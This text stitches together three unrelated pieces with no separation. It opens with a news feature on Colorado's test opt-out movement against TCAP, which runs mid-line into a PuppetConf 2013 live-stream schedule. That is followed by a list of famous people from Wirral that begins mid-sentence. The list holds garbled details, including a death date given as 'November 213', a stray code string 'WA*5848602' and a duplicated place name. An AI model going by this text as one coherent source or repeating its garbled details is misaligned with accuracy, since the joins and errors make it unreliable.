TCAP – a product of the Obama-era Race to the Top initiative – was put in place two years ago to replace the CSAP (Colorado Student Assessment Program), a vestige of the Bush-era No Child Left Behind Act. It’s supposed to be given to every student in grades 3 to 10 in each of Colorado’s 1,741 public schools. Depending on whom you speak with, the test requires either a few weeks or a few months of classroom preparation. Schools and districts decide how many hours and over how many days they space out the test to students in each grade level. This year, TCAP is costing $16.5 million to develop, administer, print, ship, score and report back to schools and families.
The paper-and-pencil TCAP will be replaced next year with a computer-based and more controversial test called (Partnership for Assessment of Readiness for College and Careers) that’s tied to the Colorado’s new participation in the Common Core – a national initiative that streamlines standards for what students in the U.S. should learn at each grade level. Known in Colorado as “TCAP on steroids,” PARCC is a more high-stakes test that will have far more bearing on whether a student passes or fails a certain subject matter or is allowed to advance to the next grade.
Students and their parents have grumbled about standardized testing since it was mandated by the federal government in 1965. Objections range from the basic “it’s too long” and “it’s too stressful” side of the spectrum to weightier concerns about teachers being forced to teach to the test, racial and socioeconomic inequities, and private corporations taking over schools that, according to test results, are failing. In Colorado, a school’s performance – and, ultimately, funding — is largely determined by TCAP scores.
Educators across the country increasingly are objecting to policy-makers’ obsession with assessment.
“…The unexamined believe that test scores describe some form of reality about learning is creating a national crisis,” reads “Cognitive Capital: Investing in Teacher Quality,” a book by Arthur Costa, Robert Garmston and Diane Zimmerman. “The leap to multiple-choice test scores as the best measure is a spurious effort at improvement at best, and one that gives cause for frightening concern.”
There always have been some folks who have opted out in Colorado. As one state official tells it, they generally came from Boulder and certain liberal mountain communities with higher than average numbers of residents challenging mainstream parenting decisions in favor of alternatives such as “not circumcising, vaccinating or using diapers on their kids.”
In recent years, dissent has gone more mainstream largely due to a four-year effort by Peggy Robertson of Littleton, a founder of a site called unitedoptout.com that is leading the national movement against standardized tests. Through the website, frequent Facebook postings and local meet-ups with parents, Robertson has galvanized an unlikely alliance of soccer moms, neo-flower children, libertarians, helicopter parents, parental rights advocates and a sizable number of teachers who begrudgingly administer TCAP at work and don’t want their own kids subjected to the test and the stress surrounding it.
Robertson walks a fine line.
As a teacher in Aurora, she refrains from criticizing TCAP at work where, she said, in the third week of testing “TCAP has consumed our entire school.”
As a mom, she has opted out her eldest son Sam, a freshman at Littleton High School, which accommodated the family’s request without objection.
As an activist, Robertson is advising an increasing number of parents who are getting flak from school administrators.
“We’re getting insane pushback in Colorado,” she said. “Right now, I’d say Colorado is one of the states experiencing the most bullying about opting out. Parents are getting a lot of intimidation to have their kids take their tests.”
In dozens of cases across the state, parents who have opted out have been told not to send their children to school for the entire three-week period tests are given. Many students who have stayed home during test hours in the mornings but gone to school after testing is over later in the school day are being sent back home with unexcused absences. Others are being “sequestered,” “quarantined” and “segregated” in certain classrooms for fear that fellow students will tell them about the test. The logic is questionable given that, by definition, kids who won’t be taking the test aren’t at risk of cheating on it. There also have been reports of truancy officers being dispatched to students’ homes to haul them in for TCAP.
Said Robertson: “The Department of Education is panicking. These tests are tied to mandates they accepted by the federal government through Race to the Top. If enough people opt out, their funding could be impacted.”
In Colorado, schools that don’t meet 95 percent student participation rates lose points that factor into their “accountability assessments” and “performance frameworks” – measures that ultimately determine whether they stay open or are taken over, often by private companies, as charter schools. Last year, 18 (or.01 percent of) schools in the state fell below that participation requirement. As education department officials tell it, numbers dipped in those schools less because of the burgeoning opt-out movement than from other factors such as English learners not being able to complete TCAP because of language barriers.
Statewide last year, 946, 916, 912 and 547 parents opted their children out of the reading, writing, math and science portions of TCAP, respectively. Those figures were down from previous years but, “given the amount of discussion this year, we may see a move away from that trend,” said Joyce Zurkowski, the state’s executive director of assessment.
Over the past year, parents and students have protested and boycotted tests in Long Island, Oregon, Seattle, Long Island and Washington, D.C. The Associated Press reported that students dressed as zombies marched in front of the Statehouse in Rhode Island against a requirement that they couldn’t graduate without a minimum test score.
Zurkowski attributes this year’s impatience in Colorado to the state’s transition to its third set of statewide tests in four years.
“With the changes we’re going through, there’s more attention given to assessments. There’s more conversations among parents about the role assessments should play,” she said.
As Zurkowski tells it, TCAP takes less than one percent of students’ time each school year. Parents often don’t differentiate between the state-mandated TCAP and other batteries of tests required by districts and schools that, in aggregate, occupy more class time.
“I wouldn’t do this job if I didn’t think that there’s a legitimate role that assessments play. I wouldn’t set out to make people’s life hard if I wasn’t convinced that assessments are necessary to give us information that we as a state need to know,” she said. “We totally acknowledge that TCAP is just one piece of the puzzle. School districts provide the rest of the picture.”
To buoy student participation rates for TCAP and other sets of standardized tests, schools and school districts are rallying to motivate kids by raffling off prizes on such as iPads and laptops on testing days. Many promise movies, pool parties and trips to amusements parks as rewards for taking the test.
When those methods fail, some schools are using guilt and fear as motivation. Parents have been told that skipping TCAP could cause the entire school to shut down – and that their child would be the cause of it. Some (even of third and fourth-graders) have been warned that their kids’ futures are in jeopardy. And some have been flat-out threatened to be reported to authorities for breaking the state testing law.
As written, education officials acknowledge, that law has no teeth.
“Opting out, it’s not something that we’re going to go arrest parents for,” Zurkowski said.
Still, she said, her department is urging schools to clamp down.
“Colorado law is clear that students will take the assessment. Schools and districts are obligated to make sure the law is followed. Not participating is a violation of the law.”
Carol Oyler, a longtime political activist and mother of a Denver Public Schools 7th grader, sees opting out as a form of direct action. Oyler has channeled much of the energy she invested in Occupy Denver a few years ago into Colorado’s growing opt-out movement. Over the past few weeks, her son, William Rivera, has been reading George Orwell’s “1984” in his school’s library instead of taking TCAP because, as his mom has taught him, the test is biased.
“You have English language learners, kids with ADHD, kids with special needs drowning in this thing,” she said. “And let’s say you have a reading comprehension question asking about the ballet when a kid comes from a family that has no clue what the ballet is. How can you call that fair?
“TCAP is a civil rights issue that’s closing down schools one by one so charter schools can take their place. It’s breaking up communities and somebody has to stand up and say no.”
Melissa Clark notified her middle school in Denver that her 13-year-old would be opting out.
“It’s not my daughter’s job, it’s not her responsibility to perform well on a test to benefit her teacher or her school. The school should be serving her, not the other way around,” she said.
Clark, who was trained as a teacher, also objects to the test being used as a tool for planning and progress monitoring.
“If teachers aren’t already doing that without the test, there’s a much bigger issue at hand,” she said.
The school’s principal responded to Clark’s opt-out notification by saying that skipping the test would hurt her daughter’s future and exclude her from an end of the year outing to Elitch Gardens.
Undaunted, mother and daughter moved forward with what 13-year-old Ayshia Clark says has been “the best lesson ever in civil disobedience.” Ayshia says classroom learning stops each school year in preparation for the test, when “Teachers just go over everything they’ve already said all year and just keep repeating themselves all stressed out and stuff.”
On testing days in recent weeks, Ayshia slept in and then worked at home on a PowerPoint presentation about how TCAPs are wrong. Nobody at school wanted to see it.
“I’m frustrated that I couldn’t go to school and that the Department of Education has put my teachers in this position and my principal and me and my mom in this position,” Ayshia said. “It’s hard being the only kid not taking the test. But my mom assures me that I’m not alone in this – that there are kids in other schools doing what we’re doing.”
Of about twenty opt-out families who were randomly interviewed by The Independent, the vast majority had at least one parent either working as a teacher or with a background in education. Ames Prather is a former Denver Public Schools high school English teacher who says he has “seen the insanity that testing wreaks on schools.” He objects to the claim that TCAP or any standardized test is an accurate predictor of a student’s capabilities. And he takes umbrage with the fact that nobody bothers to review test results one-on-one with students to work through areas they get wrong.
“How does that help you? How does it help anyone?” he asked.
Prather started researching opting-out last year, but was strongly urged against it.
“Like many parents, I was sold a bill of goods – ‘You can’t opt out, it will count against them, hurt their teachers, hurt their schools, etc…’,” he said.
Prather signed up with Badass Teachers – a group describing itself online as “for every teacher who refuses to be blamed for the failure of our society to erase poverty and inequality, and refuses to accept assessments, tests and evaluations imposed by those who have contempt for real teaching and learning…” When he joined last summer, the group had 12,000 members. Now, he says, it has 40,000.
After a family meeting about TCAP, Prather busted a move and yanked his two 8th graders from the test. His kids were taken to the principal’s office to be “quarantined” — a word that sets him off. “Let’s hope they’re not running the CDC when the apocalypse comes,” he said. Prather finally convinced the school to let his kids back into class.
When it comes to testing, Prather knows he’s on the fringe.
“Here I am, on Facebook every day and I’m just this close from wearing a tin-foil hat,” he admitted. “But if it’s teachers’ kids sitting out TCAP, that tells you something – that the test is being misused and the people whose opinions matter most know it.”Our bags are packed, and we're crazy excited for PuppetConf next week. With great speakers on the schedule, and our awesome community members coming in from all over the world, we're looking forward to getting our boots on the ground.
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Live Streaming Schedule
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Thursday, August 22
9:00 Keynote: - Luke Kanies, Puppet Labs
9:40 a.m. Keynote: Why Did We Think Large Scale Distributed Systems Would be Easy? - Gordon Rowell, Google
10:15 a.m. Keynote: Open Sourcing the Cloud - Brian Stevens, Red Hat
11:10 a.m. How Do We Better Sell DevOps? - Gene Kim, IT Revolution Press
1:30 p.m. Nobody Has To Die Today: Keeping The Peace With The Other Meat Sacks - Mykel Alvis, MomentumSI
2:20 p.m. Vampires vs Werewolves: Ending the War Between Developers and Sysadmins with Puppet - Bess Sadler, Stanford University Library
3:10 So You've Got Scalability. Now What? - Carla Souza, Reliant Security
4:20 p.m. Multi-Provider Vagrant: AWS, VMware, and More - Mitchell Hashimoto, HashiCorp
5:10 p.m. Building Data-Driven Infrastructure with Puppet - James Fryman, GitHub, Inc.
Friday, August 23
9:00 a.m. Keynote: Stop Hiring DevOps Experts (And Start Growing Them) - Jez Humble, ThoughtWorks
9:30 a.m. Keynote: Puppet for Production in WebEx - Reinhardt Quelle, Cisco/WebEx
10:00 a.m. Keynote: Puppet at Scale – Case Study of PayPal's Learnings - Stan Hsu, PayPal
10:25 a.m. Keynote: VMware vCHS, Puppet, and Project Zombie - Nicholas Weaver, VMware
11:10 a.m. More Logstash Awesome - Jordan Sissel, DreamHost
1:30 p.m. Puppet Module Reusability - What I Learned from Shipping to the Forge - Gareth Rushgrove, Government Digital Service
2:20 p.m. DevOps Isn’t Just for WebOps: The Guerrilla’s Guide to Cultural Change - Michael Stahnke, Puppet Labs
3:10 p.m. The Road to the White House with Puppet & AWS - Leo Zhadanovsky, Amazon Web Services
4:20 p.m. Continuously Integrated Puppet in a Dynamic Environment - Sam Bashton, Bashton Ltd
5:10 p.m. Monitoring in an Infrastructure as Code Age - Kris Buytaert, Inuits.eu
PuppetConf starts at 9 am Pacific on Thursday, August 22. Join us via live stream for Luke Kanies' opening keynote!
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has overseen the creation of some of the biggest-selling toys of the century, including construction kits based on movie franchises such as Toy Story, Star Wars and Indiana Jones.
This year the former Wallasey School student and Wirral Met graduate appeared before the cameras as a judge on hit Channel 4 show Lego Masters, a hunt for the UK’s best Lego builders dubbed “The Great British Brick Off”.
4. Lewis Collins
(Image: PA Wire)
The star of TV’s The Professionals was part of one of the great double acts in British television – 1970s crime fighting duo Bodie and Doyle.
He was born in Bidston and attended Grange Secondary School in Birkenhead, later training as a hairdresser in Liverpool.
He later changed careers to become a musician before enrolling at the London Academy of Music and Dramatic Art and embarking on a stage career.
He died in November 213 at the age of 67.
5. Taron Egerton
(Image: Ian West/PA Wire)
Kingsman: The Secret Service star Taron was born in Birkenhead and moved to Anglesey when he was 12, where he spent the rest of his teenage years.
The 28-year-old trained at the Royal Academy of Dramatic Art (RADA) and graduated in 2012 after winning the Stephen Sondheim Society ‘Student Performer of the Year’ award in 2011.
He has also had roles in Testament of Youth, based on the life of Vera Brittain, and as Edward ‘Mad Teddy’ Smith opposite Tom Hardy in Legend, a biopic feature about the Kray twins.
6. Dominic Purcell
(Image: Channel 5)
Best known for his role as Lincoln Burrows in Prison Break, Dominic was born in Wallasey but was raised in Australia from the age of two by his Norwegian father and Irish mother.
He turned to acting after becoming bored with his landscaping job and his roles include Mission Impossible II, Primeval and Blade: Trinity.
In interviews the Liverpool FC has told how he spoke with a Merseyside accent until he was six, but took on an Australian accent after being “mercilessly teased” by his school friends.
7. Fiona Bruce
(Image: PA Photo/BBC/Ray Burmiston)
The newsreader and presenter of Crimewatch and the Antiques Roadshow was born in Singapore but moved to Heswall with her family as a child.
Her father John worked for Unilever at Port Sunlight and the family moved from Wirral when he was promoted to a job at Lever’s Kingston-upon-Thames head office, eventually becoming company chairman.
After a university education at Hertford College, Oxford, she went into advertising, later writing to the editor of Panorama to beg for a researcher’s job.
8. Chris Boardman
Cycling champion Chris, from Hoylake, famously won gold at the 1992 Barcelona Olympics – Team GB’s first cycling gold medal in 72 years.
The dad of six led the research and development team for GB Cycling in the run-up to the Beijing Olympics and has established a career in journalism as well as working as a commentator.
He is the co-founder of Boardman Bikes and now acts as British Cycling’s policy advisor, speaking out on issues relating to transport policy and cycle safety.
9. Pete Burns
(Image: Yui Mok/PA Wire)
The Dead or Alive frontman and television personality was born in Port Sunlight in August 1959 to an English father and German mother.
He found mainstream success with his band’s 1985 single You Spin Me Round (Like a Record).
The acid-tongued showman rose to further celebrity status in the British media following his appearance on Celebrity Big Brother 2006 and his own television show, Pete’s PA in 2007, and often hit the headlines for his complicated relationship with plastic surgery.
He died in October 2016 following a massive heart attack caused by a pulmonary embolism.
10. Paul Hollywood
(Image: Ian West/PA Wire)
The TV baking guru shot to fame with his role as a judge on the Great British Bake Off.
He went to Mosslands school before starting a sculpture course at Wallasey School of Art – abandoning a career in art to go and work in his dad’s bakery.
He went on to work at top hotels at home and abroad and met his future wife Alexandra while working in Cyprus. Last month the couple announced they were separating after nearly 20 years of marriage.
Of his decision to stay with Bake Off after its move to Channel 4, Hollywood said: “I work for a production company, I don’t work for a channel – my job was always there.
“For me, I didn’t want to lose it.”
11. Jan Ravens
(Image: BBC)
Hoylake-born Jan Ravens is best known for her impressions of people such as Newsnight host Kirsty Wark, Ellen MacArthur, Nigella Lawson and Fiona Bruce alongside Jon Culshaw in Dead Ringers and for Spitting Image.
The Cambridge-educatedstar also appeared on BBC’s Strictly Come Dancing, partnering Anton du Beke, in 2007,and is an ambassador for Action Aid.
Of her time on Strictly she said: “It was the most terrifying thing. The Saturday night broadcast, dancing in front of all those people, millions of people... I spent the entire time I was doing it will galloping butterflies.
“But I loved learning to dance. It was such an amazing experience and opportunity that I couldn’t say no to it.”
12. Paul O’Grady
(Image: Jeff Spicer/Getty Images)
Who could have ever predicted that Lily Savage would become a dog’s best friend?
The Birkenhead star rose to fame as Lily before becoming a chat show host and presenter of Paul O’Grady: For the Love of Dogs.
Paul was voted one of the top ten greatest Merseysiders of all time by Echo readers. He ranked ninth in our 2014 poll and scored higher than George Harrison, Bob Paisley, Ricky Tomlinson, Jamie Carragher and Gerry Marsden.
He’s known for his sense of humour and killer one-liners, and said of a possible return for Lily: “I look in the mirror and I think, ’That’s not a wrinkle, it’s a gutter across my face!’ Lily Savage will never do telly again. Not with HD.”
13. John Peel
(Image: Ian West/PA Wire)
DJ and broadcaster John Peel was known for championing new music.
Born John Ravenscroft in Heswall Cottage Hospital in 1939, he kicked off his career on pirate stations before moving to the BBC.
His shows, including the Peel Sessions, helped bring bands such as The Undertones, The Smiths, Nirvana, Half Man Half Biscuit and The Fall to a wider audience.
Aside from the big bands that made it, he also found space for the less popular – including brilliant but obscure African guitarists and early jungle acts.
He died in October 2004 after suffering a heart attack while on a working holiday in Peru with his wife Sheila.
14. Glenda Jackson
(Image: Yui Mok/PA Wire)
The daughter of a Birkenhead bricklayer, Glenda Jackson left school at 15 and worked in Boots before winning a place at RADA.
She embarked on an acting career that included Women in Love and a memorable appearance with Morecambe and Wise.
In 1992 she was elected as Labour MP for Hampstead and Highgate, standing down in 2015.
Last year she returned to the stage for the first time in 25 years, playing the title role in Shakespeare’s King Lear at the Old Vic Theatre.
15. Pete Price
He is the voice of Liverpool on the airwaves but broadcaster and entertainer Pete grew up in Wirral.
He originally wanted to be a chef, and while at Hoylake Parade School asked if he could be excused from metalwork so he could take up cookery.
After school Pete went to the food technology department at Birkenhead Tech, where he says he “passed several exams for the first time in my life” and even won a national ice-cream making competition.
He started his radio career at BBC Radio Merseyside aged 21 and recently cut back on his late nights on Radio City, after 38 years with the company.
16. Tim Firth
The Wirral creator of All Quiet on the Preston Front, Calendar Girls and Neville’s Island began writing when he was 18 on a course in Yorkshire run by Willy Russell and Danny Hiller.
His stage production of The Flint Street Nativity broke box office records at the Liverpool Playhouse during the pantomime season of 2006.
Firth also penned Border Café and Kinky Boots and in 2004 was made a Lipa companion in recognition of his contributions to the world of art and entertainment.
17. Daniel Craig
(Image: Dia Dipasupil/Getty Images)
If you were asked for the name of a famous person from Wirral, his would be the name on most people’s lips.
The James Bond star was born in Chester but his family later settled in Hoylake, and he attended Hilbre High School.
He spent much of his youth hanging around the Everyman Theatre and trained at Guildhall School of Music and Drama.
His other film credits include Layer Cake, The Mother, Sylvia, Enduring Love and Steven Spielberg’s Munich and Road to Perdition.
18. Patricia Routledge
The Birkenhead-born actress, who went to Birkenhead High School and studied at Liverpool University is best known for BBC sitcom Keeping Up Appearances.
During a celebrated career she has appeared in several West End and Broadway productions as well as on TV and the big-screen, alongside Sidney Poitier and Shirley MacLaine.
After university she took an unpaid job at the Liverpool Playhouse and was later invited to join the company, making her debut in 1952 as Hippolyta in A Midsummer Night’s Dream. E
Extensive TV work in Britain followed, and she won a permanent place in the nation’s affections as the ultimate suburban snob Hyacinth Bucket – pronounced Bouquet.
19. Elvis Costello
(Image: David Munn)
Elvis was born Declan MacManus and moved to Birkenhead in 1971 with his Liverpool-born mum Mary, who was usherette at the Philharmonic Hall.
The grandson of a trumpet player on the White Star Line and son of a jazz musician who became a successful radio dance band vocalist, he went into the family business and had taken the popular music world by storm before he was 24.
It was while living in Wirral that he formed his first band, a folk duo called Rusty, going on to become one of the music world’s most iconic performers and songwriters.
20. Simon Rimmer
(Image: Jason Roberts)
Professional chef Simon Rimmer was born in Wallasey in 1963. He opened his vegetarian restaurant, Greens, in Manchester in 1990.
His television career took off by appearing on programmes such as This Morning, UKTV’s Great FOod Live and BBC One’s To Buy or Not to Buy, before pitting his cooking talents against other skilled chefs on the first series of Great British Menu. He narrowly missed out on the winning title to Marcus Wareing.
He is best known to TV audiences for his culinary and presenting skills on Sunday Brunch, alongside Tim Lovejoy – and for his appearance on the 2017 series of Strictly Come Dancing.
21. Shirley Hughes
The renowned children’s author was born in West Kirby and studied fashion and dress design at Liverpool Art School.
She continued her studies at the Ruskin School of Drawing and Fine Art in Oxford then embarked on a career as a freelance illustrator in London.
She is the author and illustrator of more than 200 much-loved children’s books, her most celebrated works being the Alfie stories and Dogger.
22. Pauline Daniels
Birkenhead-born actress and comedian Pauline started her career as a singer in Liverpool’s working men’s clubs and later moved into acting and stand-up comedy. Her theatre and TV credits include Willy Russell’s Shirley Valentine, Mama Morton in Chicago and Maria Benson in Brookside. She now runs the Actors Studio, after turning the Liverpool Academy of Arts building in Seel Street into an 80-seat theatre, to provide a showcase for local talent.
23. Nigel Lythgoe
(Image: Daily Mirror)
Before Simon Cowell on The X Factor there was “Nasty” Nigel Lythgoe on ITV show Popstars. He earned the nickname by telling Kym Marsh (now an actress in Coronation Street): “Christmas may be gone but I see the goose is still fat..
Nigel, who now lives in Los Angeles, grew up in Wallasey and attended Manor Road School, Wallasey Technical College and the Hylton Bromley School of Dance and Drama.
24. Ian Botham
Heswall-born Sir Ian received a knighthood in the Queen’s birthday honours in recognition of his charity work as much as services to cricket.
“Beefy” has raised around £10mn for leukaemia research and the Teenage Cancer Trust through 11 long-distance sponsored walks, and on the field was regarded as English cricket’s greatest all-rounder.
25. Jodie Taylor
(Image: Nick Potts/PA Wire)
England goalscoring hero Jodie first showcased her incredible talents at home in Wirral.
She grew up in Wallasey and started playing football at break times and lunchtimes in her days at Liscard Primary School – where she was allowed on the boys time because the school did not have a team for girls.
After moving to Oldershaw Academy, Taylor joined the school’s first ever girls’ team along with her twin sister Chelsea, where she smashed 15 consecutive hat-tricks and went on to sign for Tranmere Rovers after impressing in a schools’ tournament.
She stayed with Tranmere until leaving for America and a sports scholarship at Oregon State University at 18 – where she achieved two degrees in psychology and sociology.
26. Half Man Half Biscuit
Birkenhead’s finest band will hate being included in this list – for years they avoided playing in Liverpool became of performing in front of so many familiar faces. They don’t like having their pictures taken or their names on album sleeves and once told the ECHO “anonymity is everything”.
But you can’t write about Wirral and miss them out.
The late, great John Peel said singer Nigel Blackwell rejoiced in the use of language and ECHO writer Paddy Shennan has called him “our greatest living lyricist” – with lyrics covering everything from popular culture, sport, and local geography
27. Charlie Landsborough
Birkenhead country singer Charlie Landsborough is a huge country star in the USA, but struggled for three decades before achieving success.
He worked as a teacher while writing and performing on a semi-professional basis, but his career took off after his song What Colour is the Wind was played on radio in Northern Island.
The song came to the notice of chat show host Pat Kenny in Dublin, who invited Charlie to perform on his popular Kenny Show Live in 1995.
A week later his album was at number one and he went on to pick up a string of awards.
28. Valerie Masterson
Renowned soprano Valerie Masterson was born in Birkenhead and studied in Liverpool before going on to the Royal College of Music. She also studied for a year in Milan with the soprano Adelaide Saraceni.
She made her her debut as Frasquita in Georges Bizet’s Carmen in Salzburg with the Landes Theatre Opera Company, where she spent a season in 1963,
In 1972 she went on to become principal soprano with English National Opera, singing a wide range of roles from Mozart to Puccini.
She was made a CBE in the Queen’s birthday honours in 1988.
29. Mark Leckey
The Turner Prize winning artist was born in Birkenhead and graduated from Newcastle Polytechnic, later moving to London.
He won the prestigious prize with an exhibition that included cartoon characters such as Homer Simpson, with the jury commending the intelligent, energetic and seductive nature of his work.
He is known for his fascination with how flat images can become 3D, once saying: “I want to transform my world and make it more so. Make it more of what it is.”
His Dream English Kid 1964-1999AD film for the 2016 Liverpool Biennial was inspired by a teenage trip to see Joy Division at Eric’s in Mathew Street.
30. Amelia Warner
(Image: Jordan Strauss/Invision/AP)
Not many people know that actress and singer Amelia is from Birkenhead.
The daughter of actress Annette Ekblom, she moved to London at the age of four but spent summer holidays with her nan in New Brighton and her relatives still live in Wirral.
She started acting as member of the London Royal Court’s youth theatre group and at 18 starred as the title character in the BBC period drama Lorna Doone.
She later ditched acting for singing under the name of Slow Moving Millie.
She has two daughters with her husband, Fifty Shades and The Fall actor Jamie Dornan.
31. Lottie Dod
Bebington-born Dod became the youngest ever winner of the Wimbledon Ladies Singles Championship when she achieved her triumph in 1887 at the age of 15 years and 285 days.
She won the singles title five times between 1887 and 1893.
Martina Hingis was three days younger when she became women’s doubles champion alongside Helena Sukova in 1996.
At the age of 21 Dod became the English women’s golf champion in 1904 and then won a silver medal for archery at the 1908 Olympics, while also playing twice for the England hockey team. She was also reportedly a world class ice skater and mountaineer.
32. Paul Heaton
Music fans might associate the Housemartins and Beautiful South songwriter with Manchester and his adopted home of Hull, but he was born in Bromborough and grew up in Wirral.
He once told the ECHO: “I grew up on the Wirral and I love it over there. My dad worked in Ellesmere Port and my mum is from Woolton so I’ve always spent a lot of time in Liverpool, even after we moved away with my dad’s work.”
33. Nigel Adkins
The Hull City manager grew up in Birkenhead and says the only thing he ever wanted to do was play sport.
He enjoyed playing basketball, rugby, football, cricket and athletics but says he was “mad keen” on football and played as a goalkeeper.
The former Tranmere and Wigan player twice guided Scunthorpe to promotion from League One and steered Southampton to the Premier League in 2012, but was sacked in January 2013. Spells at Reading and Sheffield United also ended in disappointment.
34. Steve Cummings
(Image: Michael Steele/Getty Images)
Steve from Clatterbridge, formerly raced for Birkenhead North End Cycling Club, and has won stages of the Tour De France as well as Commonwealth, Olympic and World Championship medals.
He was a member of Team GB’s men’s road race team at the Rio Olympics, who were unfortunate not to win a medal after an incredible 241.5km endurance test.
The heroics of fellow Wirral rider Chris Boardman, who followed up Olympic gold on the track in 1992 by winning the prologue of the Tour de France two years later, also inspired Cummings.
He told the ECHO in 2011: “My dream as a kid was always to go to the Tour but growing up I never really believed it would happen.”
35. Austin Healey
(Image: Dave Rogers/ALLSPORT)
The former England rugby player went to primary school in Bidston before attending St Anselm’s College then Leeds Polytechnic, where he gained a degree in physical education.
He says his secondary school days and sports teacher Joe Green helped launch his rugby career and he went on to play for Leicester Tigers, win 51 England caps and tour with the British Lions.
He has also been a contestant on Strictly Come Dancing.
36. Stephen Hough
(Image: Christian Steiner)
Heswall-born Stephen Hough is one of the most celebrated pianists of his generation and has appeared as a soloist with major orchestras around the world including New York, Chicago and Hong Kong.
He began learning to play at the age of five and was a finalist in BBC Young Musician of the Year Competition at just 17, winning the piano section.
He was awarded a CBE for his services to music in the Queen’s New Year Honours List in 2013.
37. Jim Bowen
He might be one of Lancashire’s most famous faces but the Bullseye and Phoenix Nights star was born in Heswall in 1937.
He was adopted by a couple from Accrington and later moved to the Lake District.
Before forging a successful career as a comedian, actor, game show host and radio presenter, his first job was as a dustman in Burnley but he soon realised it wasn’t the life for him.
While working as a teacher he started working part-time as a stand-up comedian in clubs, where he was spotted by Frank Carson and chosen to appear on the television show, The Comedians
38. Mike Dean
(Image: Mike Egerton/PA Wire)
He might be more infamous than famous to some, depending on which team you follow, but his is a name every football follower will recognise.
Wirral referee Mike stepped into the history books in 2001 as one of the first professional referees, leaving his job at a poultry factory in North Wales to take up the role.
At the time Dean, who reportedly supports Tranmere Rovers, vowed it wouldn’t will not change his approach to being the man in the middle, telling the ECHO: “Although I am now being paid to referee, I would like to think that the only difference would be that I will be closer to the major incidents because I will be fitter.”
39. Christian Furr
(Image: Colin Lane)
Born in Heswall in 1966, artist Christian Furr studied at Wirral Metropolitan College and De Montford University, where he graduated with a first class degree in Fine Art.
He now lives and works in London and has exhibited extensively at shows and galleries.
At just 28 he was the youngest artist commissioned to paint an official portrait of Queen Elizabeth II, and was personally selected from among dozens of other painters.
His official biography says he focuses on “keeping oil paint a fresh contemporary medium, and is continually interested in experimentation and exploration of new concepts”.
40. Ray Stubbs
(Image: Mirrorpix)
The Wirral-born sports presenter is a former professional footballer spent five years playing for Tranmere Rovers before becoming a journalist with BBC Radio Merseyside.
He has joked that he was the “worst left-back to play for Tranmere”, and failed to make a first-team appearance after graduating through the youth ranks at Prenton Park during the mid-1970s.
He once told the ECHO he was still passionate about the club, adding: “I say to my kids you must always try to do your best and I did do my best in my playing days at Tranmere. It was just unfortunate that I had no talent.
“I remember Johnny King saying to me once: ‘You might make a reasonable player it wasn’t for the parachute strapped to your backside’. He was a good judge.”
41. Ted Robbins
Ted grew up in Bebington and went to Wirral Grammar School before making his career in entertainment.
A well known comedian in his own right, he first made his name as a warm-up act for more celebrated colleagues
A second cousin of former Beatle Sir Paul McCartney, Ted has appeared in Little Britain and Coronation Street as well as the popular ITV show Benidorm. He also starred as Den Perry in Peter Kay’s Phoenix Nights.
42. Alan Clarke
The renowned film and television director was born in Wallasey in October 1935 and went to Poulton Primary School. He lived in both Seacombe and Leasowe with his family.
He started working in the film business in Canada and after returning to England worked for both ITV and the BBC.
His work is known for its social realism and his best known works include Scum, The Firm, Made in England and Rita, Sue and Bob Too.
WA*5848602
43. Dixie Dean
Birkenhead footballer William Ralph “Dixie” Dean played for Tranmere Rovers before moving to Everton, setting an all-time goal scoring record of 60 goals in the 1927-28 season which has never been equalled.
Born in Laird Street, Birkenhead he signed for Tranmere Rovers at the age of 15 in 1923 whilst playing for Pensby Institution FC, making the switch to the Blues in 1926.
He became renowned as a goal scoring genius: a centre forward who could score with either boot but was especially famous for his skill in the air.
One of the few strikers never to be cautioned in his career, Dean was also regarded as a true gentleman of football.
44. Samantha Quek
(Image: Anthony Devlin/PA Wire)
Hockey player Sam helped Great Britain’s women’s team end a 36-year wait to reach the gold medal match of an Olympic Games when they defeated semi-finalists New Zealand 3-0 in Rio.
A dramatic final saw the teams draw level before the drama of penalties. Great Britain won 2-0 - earning a triumph that will live long in the memory and becoming national heroes.
The former Birkenhead High School pupil later dedicated her Olympic gold medal to her 95-year-old grandmother, who suffered a stroke five days before the final.
45. Eric Idle
(Image: Craig Barritt/Getty Images)
Monty Python legend Eric Idle was born in South Shields, but spent his childhood in Wallasey and went to St George’s Primary School until the age of nine.
Monty Python’s Flying Circus was made for TV between 1969 and 1974 and the team went on to make films including Monty Python And The Holy Grail (1975) and Monty Python’s Life of Brian (1979).
46. Ian Astbury
The lead singer of The Cult was born in Heswall and later moved to Canada before returning to the UK.
Astbury formed the band Southern Death Cult in 1981, with the name later shortened to Death Cult and finally The Cult.
He stepped into Jim Morrisons shoes with vocals for the new incarnation of the Doors, touring as the 21st Century Doors.
47/48. Andy McCluskey and Paul Humphreys of OMD
Wirral electro-pop pioneers Orchestral Manoeuvres in the Dark were one of the biggest selling bands in the 80s. Their first single, Electricity, sold all 5,000 pressed copies, largely thanks to Wirral-born DJ John Peel playing it on Radio 1.
The gigs kept coming and so did the hits but by the mid nineties the band found itself out of favour – although they’ve made a comeback in the last few years.
In OMD’s wilderness years Andy, from Meols, later enjoyed success with his Liverpool recording studio, where the likes of The Coral, The Zutons, Arctic Monkeys and Oasis recorded. He also created and wrote for girl band Atomic Kitten.
49. Ramsey Campbell
The Wallasey horror writer was born in Liverpool, but he’s made his name as an author during his years in Wirral.
One of the most celebrated horror writers of his generation, the policeman’s son has received more awards for his work than any other author in the horror genre.
The Oxford Companion to English Literature has described him as ‘Britain’s most respected living horror writer’ and his novels have been praised by Stephen King and James Herbert.
50. Matt Dawson
(Image: Adam Gerrard)
The former Wasps and Northampton rugby scrum half was born in Oxton, and his dad Ronnie played for Old Rockferrians
His family later moved from Merseyside to Wycombe and he attended the Royal Grammar School in High Wycombe.
Despite excelling at rugby, his football team of choice remains Everton. He told the ECHO: “My family are a typical Mersey mix of reds and blues, and my dad is Tranmere Rovers but it’s always been the Toffees for me.”
Since retiring he has starred on the BBC’s A Question of Sport.
51. Suzanne Collins
(Image: Colin Lane)
Birkenhead-born Suzanne is best known for playing Nikki Shadwick in Brookside. She went on to land TV and theatre roles in the Bill, Doctors, the film Step Dad with Ricky Tomlinson, and hit stage comedy Brick Up The Mersey Tunnels and its sequel at the Royal Court Theatre.
Along with fellow Brookside star Ann Marie Davies, she set up High Horizons, providing anti-bullying drama workshops to children.
52. Alex Cox
(Image: BBC)
Former Wirral Grammar school student Cox, who was born in Bebington, studied law at Oxford but left to study film at Bristol and in Los Angeles and became a director and actor
